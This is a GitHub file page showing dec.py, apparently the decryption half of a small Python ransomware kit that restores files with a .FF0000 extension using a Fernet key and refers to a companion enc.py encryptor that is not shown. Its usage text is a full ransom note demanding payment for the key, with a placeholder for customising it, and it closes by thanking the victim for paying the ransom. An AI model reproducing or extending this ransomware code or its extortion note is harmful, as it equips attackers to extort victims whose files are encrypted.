-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathdec.py
75 lines (65 loc) · 2.33 KB
/
dec.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/python3
import sys
import os
from cryptography.fernet import Fernet,InvalidToken
def usage():
print("Ooops, your important files are encrypted!")
print()
print("If you see this text, then your files are no longer accessible,")
print("because they have been encrypted. Perhaps you are busy looking")
print("for a way to recover your files, but don't waste your time.")
print("Nobody can recover your files without our decryption service.")
print("We guarantee that you can recover all your files safely and")
print("easily. All you need to do is submit the payment and purchase")
print("the decryption key.")
print()
# Place whatever text here
print("To decrypt, make sure all the encrypted files have the .FF0000 extension, in the same")
print("directory as the dec.py tool, then invoke this decryption tool like so: python dec.py --key=YoURs0op3rs3cr3TKEyFile")
print("Make sure you use the right key! BACK UP THE ENCRYPTED FILES BEFORE DOING ANYTHING!")
print("tar -cvzf backup.tgz ./*.FF0000 && mv backup.tgz /tmp")
sys.exit(1)
def files(path):
retfiles = []
for root, dirs, file_obj in os.walk(path):
for f in file_obj:
retfiles.append(os.path.join(root, f))
return retfiles
def main(k):
badfiles = ["enc.py", "key", os.path.basename(__file__)]
try:
key = k.encode()
fernet = Fernet(key)
except ValueError:
print("Wrong key length?")
sys.exit(1)
# key needs to be a bytestring
print("Decrypting...")
filelist = files(".")
for obj in filelist:
if ".FF0000" not in obj:
continue
if obj in badfiles:
continue
with open(obj, 'rb') as f:
data = f.read()
try:
decrypted = fernet.decrypt(data)
except InvalidToken:
print("WRONG KEY! DON'T GUESS!")
sys.exit(1)
filename = obj[:-7]
with open(filename, 'wb') as f:
f.write(decrypted)
os.remove(obj)
print("Your files should be decrypted now!")
print("Thank you for paying your ransom!")
if __name__ == '__main__':
if len(sys.argv) != 2:
usage()
else:
if "--key=" in sys.argv[1]:
(junk, key) = sys.argv[1].split("=", 1)
main(key)
else:
usage()